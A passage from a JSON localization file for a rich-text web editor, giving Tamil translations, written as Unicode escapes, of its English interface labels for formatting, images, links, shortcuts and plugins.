"Decrease indent": "\u0b89\u0bb3\u0bcd\u0ba4\u0bb3\u0bcd\u0bb3\u0bc1\u0ba4\u0bb2\u0bc8 \u0b95\u0bc1\u0bb1\u0bc8\u0b95\u0bcd\u0b95",
"Increase indent": "\u0b89\u0bb3\u0bcd\u0ba4\u0bb3\u0bcd\u0bb3\u0bc1\u0ba4\u0bb2\u0bc8 \u0b85\u0ba4\u0bbf\u0b95\u0bb0\u0bbf\u0b95\u0bcd\u0b95",
"Close": "\u0bae\u0bc2\u0b9f\u0bc1\u0b95",
"Formats": "\u0bb5\u0b9f\u0bbf\u0bb5\u0bae\u0bc8\u0baa\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u0ba8\u0b95\u0bb2\u0b95\u0ba4\u0bcd\u0ba4\u0bbf\u0bb1\u0bcd\u0b95\u0bc1 \u0ba8\u0bc7\u0bb0\u0b9f\u0bbf \u0b85\u0ba3\u0bc1\u0b95\u0bb2\u0bc8 \u0ba4\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0b89\u0bb2\u0bbe\u0bb5\u0bbf \u0b86\u0ba4\u0bb0\u0bbf\u0b95\u0bcd\u0b95\u0bb5\u0bbf\u0bb2\u0bcd\u0bb2\u0bc8. \u0b86\u0b95\u0bb5\u0bc7 \u0bb5\u0bbf\u0b9a\u0bc8\u0baa\u0bcd\u0baa\u0bb2\u0b95\u0bc8 \u0b95\u0bc1\u0bb1\u0bc1\u0b95\u0bcd\u0b95\u0bc1\u0bb5\u0bb4\u0bbf\u0b95\u0bb3\u0bbe\u0ba9 Ctrl+X\/C\/V \u0b87\u0bb5\u0bb1\u0bcd\u0bb1\u0bc8 \u0ba4\u0baf\u0bb5\u0bc1 \u0b9a\u0bc6\u0baf\u0bcd\u0ba4\u0bc1 \u0baa\u0baf\u0ba9\u0bcd\u0baa\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95.",
"Headers": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"Header 1": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 1",
"Header 2": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 2",
"Header 3": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 3",
"Header 4": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 4",
"Header 5": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 5",
"Header 6": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 6",
"Headings": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"Heading 1": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 1",
"Heading 2": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 2",
"Heading 3": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 3",
"Heading 4": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 4",
"Heading 5": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 5",
"Heading 6": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 6",
"Preformatted": "\u0bae\u0bc1\u0ba9\u0bcd\u0bb5\u0b9f\u0bbf\u0bb5\u0bae\u0bc8\u0b95\u0bcd\u0b95\u0baa\u0bcd\u0baa\u0b9f\u0bcd\u0b9f\u0ba4\u0bc1",
"Div": "\u0baa\u0bbf\u0bb0\u0bbf\u0bb5\u0bc1 (Div)",
"Pre": "\u0bae\u0bc1\u0ba9\u0bcd \u0bb5\u0b9f\u0bbf\u0bb5\u0bae\u0bc8\u0b95\u0bcd\u0b95\u0baa\u0bcd\u0baa\u0b9f\u0bcd\u0b9f\u0ba4\u0bc1 (Pre)",
"Code": "\u0b95\u0bc1\u0bb1\u0bbf\u0baf\u0bc0\u0b9f\u0bc1",
"Paragraph": "\u0baa\u0ba4\u0bcd\u0ba4\u0bbf",
"Blockquote": "\u0ba4\u0bca\u0b95\u0bc1\u0ba4\u0bbf \u0bae\u0bc7\u0bb1\u0bcd\u0b95\u0bcb\u0bb3\u0bcd",
"Inline": "\u0b89\u0bb3\u0bcd\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8",
"Blocks": "\u0ba4\u0bca\u0b95\u0bc1\u0ba4\u0bbf\u0b95\u0bb3\u0bcd",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\u0b87\u0baf\u0bb2\u0bcd\u0baa\u0bc1 \u0b89\u0bb0\u0bc8 \u0bae\u0bc1\u0bb1\u0bc8\u0bae\u0bc8\u0baf\u0bbf\u0bb2\u0bcd \u0ba4\u0bb1\u0bcd\u0baa\u0bcb\u0ba4\u0bc1 \u0b92\u0b9f\u0bcd\u0b9f\u0bc1\u0ba4\u0bb2\u0bcd \u0b89\u0bb3\u0bcd\u0bb3\u0ba4\u0bc1. \u0ba4\u0bbe\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0b87\u0ba8\u0bcd\u0ba4 \u0bb5\u0bbf\u0bb0\u0bc1\u0baa\u0bcd\u0baa\u0bc8 \u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1\u0bae\u0bcd \u0bb5\u0bb0\u0bc8 \u0b89\u0bb3\u0bcd\u0bb3\u0b9f\u0b95\u0bcd\u0b95\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0b87\u0baf\u0bb2\u0bcd\u0baa\u0bc1 \u0b89\u0bb0\u0bc8\u0baf\u0bbe\u0b95 \u0b92\u0b9f\u0bcd\u0b9f\u0baa\u0bcd\u0baa\u0b9f\u0bc1\u0bae\u0bcd.",
"Fonts": "\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0bb0\u0bc1\u0b95\u0bcd\u0b95\u0bb3\u0bcd",
"Font Sizes": "\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0bb0\u0bc1 \u0b85\u0bb3\u0bb5\u0bc1\u0b95\u0bb3\u0bcd",
"Class": "Class",
"Browse for an image": "\u0b92\u0bb0\u0bc1 \u0baa\u0b9f\u0ba4\u0bcd\u0ba4\u0bc1\u0b95\u0bcd\u0b95\u0bc1 \u0b89\u0bb2\u0bbe\u0bb5\u0bc1\u0b95",
"OR": "\u0b85\u0bb2\u0bcd\u0bb2\u0ba4\u0bc1",
"Drop an image here": "\u0b92\u0bb0\u0bc1 \u0baa\u0b9f\u0ba4\u0bcd\u0ba4\u0bc8 \u0b87\u0b99\u0bcd\u0b95\u0bc1 \u0b87\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0baa\u0bcd \u0baa\u0bcb\u0b9f\u0bb5\u0bc1\u0bae\u0bcd",
"Upload": "\u0baa\u0ba4\u0bbf\u0bb5\u0bc7\u0bb1\u0bcd\u0bb1\u0bc1\u0b95",
"Block": "\u0ba4\u0bca\u0b95\u0bc1\u0ba4\u0bbf",
"Align": "\u0b9a\u0bc0\u0bb0\u0bae\u0bc8",
"Default": "\u0b89\u0bb3\u0bcd\u0bb3\u0bbf\u0bb0\u0bc1\u0baa\u0bcd\u0baa\u0bc1",
"Circle": "\u0bb5\u0b9f\u0bcd\u0b9f\u0bae\u0bcd",
"Disc": "\u0bb5\u0b9f\u0bcd\u0b9f\u0bc1",
"Square": "\u0b9a\u0ba4\u0bc1\u0bb0\u0bae\u0bcd",
"Lower Alpha": "\u0b95\u0bc0\u0bb4\u0bcd \u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1",
"Lower Greek": "\u0b95\u0bc0\u0bb4\u0bcd \u0b95\u0bbf\u0bb0\u0bc7\u0b95\u0bcd\u0b95\u0bae\u0bcd",
"Lower Roman": "\u0b95\u0bc0\u0bb4\u0bcd \u0bb0\u0bcb\u0bae\u0bbe\u0ba9\u0bbf\u0baf\u0bae\u0bcd",
"Upper Alpha": "\u0bae\u0bc7\u0bb2\u0bcd \u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1",
"Upper Roman": "\u0bae\u0bc7\u0bb2\u0bcd \u0bb0\u0bcb\u0bae\u0bbe\u0ba9\u0bbf\u0baf\u0bae\u0bcd",
"Anchor...": "\u0ba8\u0b99\u0bcd\u0b95\u0bc2\u0bb0\u0bae\u0bcd...",
"Name": "\u0baa\u0bc6\u0baf\u0bb0\u0bcd",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id \u0b86\u0ba9\u0ba4\u0bc1 \u0b92\u0bb0\u0bc1 \u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bbf\u0bb2\u0bcd \u0ba4\u0bca\u0b9f\u0b99\u0bcd\u0b95 \u0bb5\u0bc7\u0ba3\u0bcd\u0b9f\u0bc1\u0bae\u0bcd; \u0b87\u0ba4\u0ba9\u0bc8\u0ba4\u0bcd \u0ba4\u0bca\u0b9f\u0bb0\u0bcd\u0ba8\u0bcd\u0ba4\u0bc1 \u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95\u0bcd\u0b95\u0bb3\u0bcd, \u0b8e\u0ba3\u0bcd\u0b95\u0bb3\u0bcd, \u0b87\u0b9f\u0bc8\u0b95\u0bcd\u0b95\u0bc7\u0bbe\u0b9f\u0bc1\u0b95\u0bb3\u0bcd (-), \u0baa\u0bc1\u0bb3\u0bcd\u0bb3\u0bbf\u0b95\u0bb3\u0bcd (.), \u0bae\u0bc1\u0b95\u0bcd\u0b95\u0bbe\u0bb1\u0bcd\u0baa\u0bc1\u0bb3\u0bcd\u0bb3\u0bbf\u0b95\u0bb3\u0bcd (:) \u0bae\u0bb1\u0bcd\u0bb1\u0bc1\u0bae\u0bcd \u0b85\u0b9f\u0bbf\u0b95\u0bcd\u0b95\u0bc7\u0bbe\u0b9f\u0bc1\u0b95\u0bb3\u0bcd (_) \u0bae\u0b9f\u0bcd\u0b9f\u0bc1\u0bae\u0bc7 \u0b87\u0bb0\u0bc1\u0ba4\u0bcd\u0ba4\u0bb2\u0bcd \u0bb5\u0bc7\u0ba3\u0bcd\u0b9f\u0bc1\u0bae\u0bcd.",
"You have unsaved changes are you sure you want to navigate away?": "\u0b9a\u0bc7\u0bae\u0bbf\u0b95\u0bcd\u0b95\u0baa\u0bcd\u0baa\u0b9f\u0bbe\u0ba4 \u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0b89\u0bb3\u0bcd\u0bb3\u0ba9; \u0ba4\u0bbe\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0b89\u0bb1\u0bc1\u0ba4\u0bbf\u0baf\u0bbe\u0b95 \u0bb5\u0bc6\u0bb3\u0bbf\u0baf\u0bc7\u0bb1 \u0bb5\u0bbf\u0bb0\u0bc1\u0bae\u0bcd\u0baa\u0bc1\u0b95\u0bbf\u0bb1\u0bc0\u0bb0\u0bcd\u0b95\u0bbe\u0bb3\u0bbe?",
"Restore last draft": "\u0b95\u0b9f\u0ba8\u0bcd\u0ba4 \u0bb5\u0bb0\u0bc8\u0bb5\u0bc8 \u0bae\u0bc0\u0b9f\u0bcd\u0b9f\u0bc6\u0b9f\u0bc1\u0b95\u0bcd\u0b95",
"Special character...": "\u0b9a\u0bbf\u0bb1\u0baa\u0bcd\u0baa\u0bc1 \u0b89\u0bb0\u0bc1...",
"Source code": "\u0bae\u0bc2\u0bb2 \u0b95\u0bc1\u0bb1\u0bbf\u0baf\u0bc0\u0b9f\u0bc1",
"Insert\/Edit code sample": "\u0b95\u0bc1\u0bb1\u0bbf\u0baf\u0bc0\u0b9f\u0bc1 \u0bae\u0bbe\u0ba4\u0bbf\u0bb0\u0bbf \u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bc1\u0b95\/\u0ba4\u0bca\u0b95\u0bc1\u0b95\u0bcd\u0b95",
"Language": "\u0bae\u0bca\u0bb4\u0bbf",
"Code sample...": "\u0b95\u0bc1\u0bb1\u0bbf\u0baf\u0bc0\u0b9f\u0bc1 \u0bae\u0bbe\u0ba4\u0bbf\u0bb0\u0bbf...",
"Color Picker": "\u0ba8\u0bbf\u0bb1\u0ba4\u0bcd \u0ba4\u0bc6\u0bb0\u0bbf\u0bb5\u0bc1",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "\u0b87\u0b9f\u0bae\u0bbf\u0bb0\u0bc1\u0ba8\u0bcd\u0ba4\u0bc1 \u0bb5\u0bb2\u0bae\u0bcd",
"Right to left": "\u0bb5\u0bb2\u0bae\u0bbf\u0bb0\u0bc1\u0ba8\u0bcd\u0ba4\u0bc1 \u0b87\u0b9f\u0bae\u0bcd",
"Emoticons": "\u0b89\u0ba3\u0bb0\u0bcd\u0b9a\u0bcd\u0b9a\u0bbf\u0baa\u0bcd\u0baa\u0b9f\u0bbf\u0bae\u0b99\u0bcd\u0b95\u0bb3\u0bcd",
"Emoticons...": "\u0b89\u0ba3\u0bb0\u0bcd\u0b9a\u0bcd\u0b9a\u0bbf\u0baa\u0bcd\u0baa\u0b9f\u0bbf\u0bae\u0b99\u0bcd\u0b95\u0bb3\u0bcd",
"Metadata and Document Properties": "\u0bae\u0bc0\u0ba4\u0bcd\u0ba4\u0bb0\u0bb5\u0bc1 \u0bae\u0bb1\u0bcd\u0bb1\u0bc1\u0bae\u0bcd \u0b86\u0bb5\u0ba3\u0baa\u0bcd \u0baa\u0ba3\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"Title": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1",
"Keywords": "\u0bae\u0bc1\u0ba4\u0ba9\u0bcd\u0bae\u0bc8\u0b9a\u0bcd\u0b9a\u0bca\u0bb1\u0bcd\u0b95\u0bb3\u0bcd",
"Description": "\u0bb5\u0bbf\u0bb5\u0bb0\u0bae\u0bcd",
"Robots": "\u0baa\u0bca\u0bb1\u0bbf\u0baf\u0ba9\u0bcd\u0b95\u0bb3\u0bcd (Robots)",
"Author": "\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bbe\u0bb3\u0bb0\u0bcd",
"Encoding": "\u0b95\u0bc1\u0bb1\u0bbf\u0baf\u0bc0\u0b9f\u0bbe\u0b95\u0bcd\u0b95\u0bae\u0bcd",
"Fullscreen": "\u0bae\u0bc1\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bbf\u0bb0\u0bc8",
"Action": "\u0b9a\u0bc6\u0baf\u0bb2\u0bcd",
"Shortcut": "\u0b95\u0bc1\u0bb1\u0bc1\u0b95\u0bcd\u0b95\u0bc1\u0bb5\u0bb4\u0bbf",
"Help": "\u0b89\u0ba4\u0bb5\u0bbf",
"Address": "\u0bae\u0bc1\u0b95\u0bb5\u0bb0\u0bbf",
"Focus to menubar": "\u0baa\u0b9f\u0bcd\u0b9f\u0bbf\u0baa\u0bcd\u0baa\u0b9f\u0bcd\u0b9f\u0bc8\u0baf\u0bbf\u0bb2\u0bcd \u0b95\u0bb5\u0ba9\u0bae\u0bcd \u0b9a\u0bc6\u0bb2\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95",
"Focus to toolbar": "\u0b95\u0bb0\u0bc1\u0bb5\u0bbf\u0baa\u0bcd\u0baa\u0b9f\u0bcd\u0b9f\u0bc8\u0baf\u0bbf\u0bb2\u0bcd \u0b95\u0bb5\u0ba9\u0bae\u0bcd \u0b9a\u0bc6\u0bb2\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95",
"Focus to element path": "\u0bae\u0bc2\u0bb2\u0b95\u0baa\u0bcd \u0baa\u0bbe\u0ba4\u0bc8\u0baf\u0bbf\u0bb2\u0bcd \u0b95\u0bb5\u0ba9\u0bae\u0bcd \u0b9a\u0bc6\u0bb2\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95",
"Focus to contextual toolbar": "\u0b9a\u0bc2\u0bb4\u0bcd\u0ba8\u0bbf\u0bb2\u0bc8 \u0b95\u0bb0\u0bc1\u0bb5\u0bbf\u0baa\u0bcd\u0baa\u0b9f\u0bcd\u0b9f\u0bc8\u0baf\u0bbf\u0bb2\u0bcd \u0b95\u0bb5\u0ba9\u0bae\u0bcd \u0b9a\u0bc6\u0bb2\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95",
"Insert link (if link plugin activated)": "\u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc1 \u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95 (\u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc1 \u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bbf \u0b9a\u0bc6\u0baf\u0bb2\u0bbe\u0b95\u0bcd\u0b95\u0baa\u0bcd\u0baa\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bbf\u0baf\u0bbf\u0bb0\u0bc1\u0ba8\u0bcd\u0ba4\u0bbe\u0bb2\u0bcd)",
"Save (if save plugin activated)": "\u0b9a\u0bc7\u0bae\u0bbf\u0b95\u0bcd\u0b95 (\u0b9a\u0bc7\u0bae\u0bbf\u0baa\u0bcd\u0baa\u0bc1 \u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bbf \u0b9a\u0bc6\u0baf\u0bb2\u0bbe\u0b95\u0bcd\u0b95\u0baa\u0bcd\u0baa\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bbf\u0baf\u0bbf\u0bb0\u0bc1\u0ba8\u0bcd\u0ba4\u0bbe\u0bb2\u0bcd)",
"Find (if searchreplace plugin activated)": "\u0b95\u0ba3\u0bcd\u0b9f\u0bc1\u0baa\u0bbf\u0b9f\u0bbf\u0b95\u0bcd\u0b95 (\u0ba4\u0bc7\u0b9f\u0bbf\u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bb2\u0bcd \u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bbf \u0b9a\u0bc6\u0baf\u0bb2\u0bbe\u0b95\u0bcd\u0b95\u0baa\u0bcd\u0baa\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bbf\u0baf\u0bbf\u0bb0\u0bc1\u0ba8\u0bcd\u0ba4\u0bbe\u0bb2\u0bcd)",
"Plugins installed ({0}):": "\u0ba8\u0bbf\u0bb1\u0bc1\u0bb5\u0baa\u0bcd\u0baa\u0b9f\u0bcd\u0b9f\u0bc1\u0bb3\u0bcd\u0bb3 \u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bbf\u0b95\u0bb3\u0bcd ({0}):",
"Premium plugins:": "\u0b89\u0baf\u0bb0\u0bcd\u0bae\u0ba4\u0bbf\u0baa\u0bcd\u0baa\u0bc1 \u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bbf\u0b95\u0bb3\u0bcd:",
"Learn more...": "\u0bae\u0bc7\u0bb2\u0bc1\u0bae\u0bcd \u0b85\u0bb1\u0bbf\u0b95...",
"You are using {0}": "\u0ba4\u0bbe\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0baa\u0baf\u0ba9\u0bcd\u0baa\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0bb5\u0ba4\u0bc1 {0}",
"Plugins": "\u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bbf\u0b95\u0bb3\u0bcd",
"Handy Shortcuts": "\u0b8e\u0bb3\u0bbf\u0ba4\u0bbf\u0bb2\u0bcd \u0b95\u0bc8\u0baf\u0bbe\u0bb3\u0b95\u0bcd\u0b95\u0bc2\u0b9f\u0bbf\u0baf \u0b95\u0bc1\u0bb1\u0bc1\u0b95\u0bcd\u0b95\u0bc1\u0bb5\u0bb4\u0bbf\u0b95\u0bb3\u0bcd",
"Horizontal line": "\u0b95\u0bbf\u0b9f\u0bc8 \u0b95\u0bcb\u0b9f\u0bc1",
"Insert\/edit image": "\u0baa\u0b9f\u0bae\u0bcd \u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bc1\u0b95\/\u0ba4\u0bca\u0b95\u0bc1\u0b95\u0bcd\u0b95",
"Alternative description": "\u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1 \u0bb5\u0bbf\u0bb5\u0bb0\u0bae\u0bcd",
"Accessibility": "\u0b85\u0ba3\u0bc1\u0b95\u0bb2\u0bcd\u0ba4\u0ba9\u0bcd\u0bae\u0bc8",
"Image is decorative": "\u0baa\u0b9f\u0bae\u0bcd \u0b85\u0bb2\u0b99\u0bcd\u0b95\u0bbe\u0bb0\u0bae\u0bbe\u0ba9\u0ba4\u0bc1",
"Source": "\u0bae\u0bc2\u0bb2\u0bae\u0bcd",
"Dimensions": "\u0baa\u0bb0\u0bbf\u0bae\u0bbe\u0ba3\u0b99\u0bcd\u0b95\u0bb3\u0bcd",
"Constrain proportions": "\u0bb5\u0bbf\u0b95\u0bbf\u0ba4\u0bbe\u0b9a\u0bcd\u0b9a\u0bbe\u0bb0\u0ba4\u0bcd\u0ba4\u0bbf\u0bb2\u0bcd \u0b95\u0b9f\u0bcd\u0b9f\u0bc1\u0baa\u0bcd\u0baa\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95",
"General": "\u0baa\u0bca\u0ba4\u0bc1",
"Advanced": "\u0bae\u0bc7\u0bae\u0bcd\u0baa\u0b9f\u0bcd\u0b9f\u0ba4\u0bc1",
"Style": "\u0baa\u0bbe\u0ba3\u0bbf",
"Vertical space": "\u0ba8\u0bc6\u0b9f\u0bc1\u0ba4\u0bb3 \u0b87\u0b9f\u0bc8\u0bb5\u0bc6\u0bb3\u0bbf",
"Horizontal space": "\u0b95\u0bbf\u0b9f\u0bc8\u0bae\u0b9f\u0bcd\u0b9f \u0b87\u0b9f\u0bc8\u0bb5\u0bc6\u0bb3\u0bbf",
"Border": "\u0b95\u0bb0\u0bc8",
"Insert image": "\u0baa\u0b9f\u0bae\u0bcd \u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"Image...": "\u0baa\u0b9f\u0bae\u0bcd...",
"Image list": "\u0baa\u0b9f\u0baa\u0bcd \u0baa\u0b9f\u0bcd\u0b9f\u0bbf\u0baf\u0bb2\u0bcd",
"Rotate counterclockwise": "\u0b95\u0b9f\u0bbf\u0b95\u0bbe\u0bb0 \u0b8e\u0ba4\u0bbf\u0bb0\u0bcd\u0ba4\u0bbf\u0b9a\u0bc8\u0baf\u0bbf\u0bb2\u0bcd \u0b9a\u0bc1\u0bb4\u0bb1\u0bcd\u0bb1\u0bc1",
"Rotate clockwise": "\u0b95\u0b9f\u0bbf\u0b95\u0bbe\u0bb0\u0ba4\u0bcd\u0ba4\u0bbf\u0b9a\u0bc8\u0baf\u0bbf\u0bb2\u0bcd \u0b9a\u0bc1\u0bb4\u0bb1\u0bcd\u0bb1\u0bc1",
"Flip vertically": "\u0b9a\u0bc6\u0b99\u0bcd\u0b95\u0bc1\u0ba4\u0bcd\u0ba4\u0bbe\u0b95 \u0baa\u0bc1\u0bb0\u0b9f\u0bcd\u0b9f\u0bc1",
"Flip horizontally": "\u0b95\u0bbf\u0b9f\u0bc8\u0bae\u0b9f\u0bcd\u0b9f\u0bae\u0bbe\u0b95 \u0baa\u0bc1\u0bb0\u0b9f\u0bcd\u0b9f\u0bc1",
"Edit image": "\u0baa\u0b9f\u0ba4\u0bcd\u0ba4\u0bc8 \u0ba4\u0bca\u0b95\u0bc1",
"Image options": "\u0baa\u0b9f \u0bb5\u0bbf\u0bb0\u0bc1\u0baa\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"Zoom in": "\u0baa\u0bc6\u0bb0\u0bbf\u0ba4\u0bbe\u0b95\u0bcd\u0b95\u0bc1",
"Zoom out": "\u0b9a\u0bbf\u0bb1\u0bbf\u0ba4\u0bbe\u0b95\u0bcd\u0b95\u0bc1",
"Crop": "\u0b9a\u0bc6\u0ba4\u0bc1\u0b95\u0bcd\u0b95\u0bc1",
"Resize": "\u0bae\u0bb1\u0bc1\u0b85\u0bb3\u0bb5\u0bbf\u0b9f\u0bc1",
"Orientation": "\u0ba4\u0bbf\u0b9a\u0bc8\u0baf\u0bae\u0bc8\u0bb5\u0bc1",
"Brightness": "\u0b92\u0bb3\u0bbf\u0bb0\u0bcd\u0bb5\u0bc1",
"Sharpen": "\u0b95\u0bc2\u0bb0\u0bcd\u0bae\u0bc8\u0baf\u0bbe\u0b95\u0bcd\u0b95\u0bc1",
"Contrast": "\u0ba8\u0bbf\u0bb1\u0bae\u0bbe\u0bb1\u0bc1\u0baa\u0bbe\u0b9f\u0bc1",
"Color levels": "\u0bb5\u0ba3\u0bcd\u0ba3 \u0ba8\u0bbf\u0bb2\u0bc8\u0b95\u0bb3\u0bcd",
"Gamma": "Gamma",
"Invert": "\u0ba8\u0bc7\u0bb0\u0bcd\u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1",
"Apply": "\u0baa\u0baf\u0ba9\u0bcd\u0baa\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1",
"Back": "\u0baa\u0bbf\u0ba9\u0bcd",
"Insert date\/time": "\u0ba4\u0bc7\u0ba4\u0bbf\/\u0ba8\u0bc7\u0bb0\u0bae\u0bcd \u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"Date\/time": "\u0ba4\u0bc7\u0ba4\u0bbf\/\u0ba8\u0bc7\u0bb0\u0bae\u0bcd",
"Insert\/edit link": "\u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc1 \u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bc1\u0b95\/\u0ba4\u0bca\u0b95\u0bc1\u0b95\u0bcd\u0b95",
"Text to display": "\u0b95\u0bbe\u0b9f\u0bcd\u0b9a\u0bbf\u0baa\u0bcd\u0baa\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4 \u0bb5\u0bc7\u0ba3\u0bcd\u0b9f\u0bbf\u0baf \u0b89\u0bb0\u0bc8",
"Url": "\u0b87\u0ba3\u0bc8\u0baf\u0bae\u0bc1\u0b95\u0bb5\u0bb0\u0bbf",
"Open link in...": "\u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc8 \u0b87\u0ba4\u0bbf\u0bb2\u0bcd \u0ba4\u0bbf\u0bb1\u0b95\u0bcd\u0b95...",
"Current window": "\u0ba4\u0bb1\u0bcd\u0baa\u0bcb\u0ba4\u0bc8\u0baf \u0b9a\u0bbe\u0bb3\u0bb0\u0bae\u0bcd",
"None": "\u0b8f\u0ba4\u0bc1\u0bae\u0bbf\u0bb2\u0bcd\u0bb2\u0bc8",
"New window": "\u0baa\u0bc1\u0ba4\u0bbf\u0baf \u0b9a\u0bbe\u0bb3\u0bb0\u0bae\u0bcd",
"Open link": "\u0ba4\u0bbf\u0bb1\u0ba8\u0bcd\u0ba4 \u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc1",
"Remove link": "\u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc8 \u0b85\u0b95\u0bb1\u0bcd\u0bb1\u0bc1\u0b95",
"Anchors": "\u0ba8\u0b99\u0bcd\u0b95\u0bc2\u0bb0\u0b99\u0bcd\u0b95\u0bb3\u0bcd",
"Link...": "\u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc1...",
"Paste or type a link": "\u0b92\u0bb0\u0bc1 \u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc1 \u0b92\u0b9f\u0bcd\u0b9f\u0bc1\u0b95 \u0b85\u0bb2\u0bcd\u0bb2\u0ba4\u0bc1 \u0ba4\u0b9f\u0bcd\u0b9f\u0b9a\u0bcd\u0b9a\u0bbf\u0b9f\u0bc1\u0b95",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "\u0ba4\u0bbe\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0b89\u0bb3\u0bcd\u0bb3\u0bbf\u0b9f\u0bcd\u0b9f \u0b87\u0ba3\u0bc8\u0baf\u0bae\u0bc1\u0b95\u0bb5\u0bb0\u0bbf (URL) \u0b92\u0bb0\u0bc1 \u0bae\u0bbf\u0ba9\u0bcd-\u0b85\u0b9e\u0bcd\u0b9a\u0bb2\u0bcd \u0bae\u0bc1\u0b95\u0bb5\u0bb0\u0bbf \u0baa\u0bcb\u0bb2\u0bcd \u0ba4\u0bcb\u0ba9\u0bcd\u0bb1\u0bc1\u0b95\u0bbf\u0bb1\u0ba4\u0bc1. \u0ba4\u0bc7\u0bb5\u0bc8\u0baf\u0bbe\u0ba9 mailto: \u0bae\u0bc1\u0ba9\u0bcd-\u0b92\u0b9f\u0bcd\u0b9f\u0bc8\u0ba4\u0bcd (prefix) \u0ba4\u0bbe\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0b9a\u0bc7\u0bb0\u0bcd\u0b95\u0bcd\u0b95 \u0bb5\u0bc7\u0ba3\u0bcd\u0b9f\u0bc1\u0bae\u0bbe?",
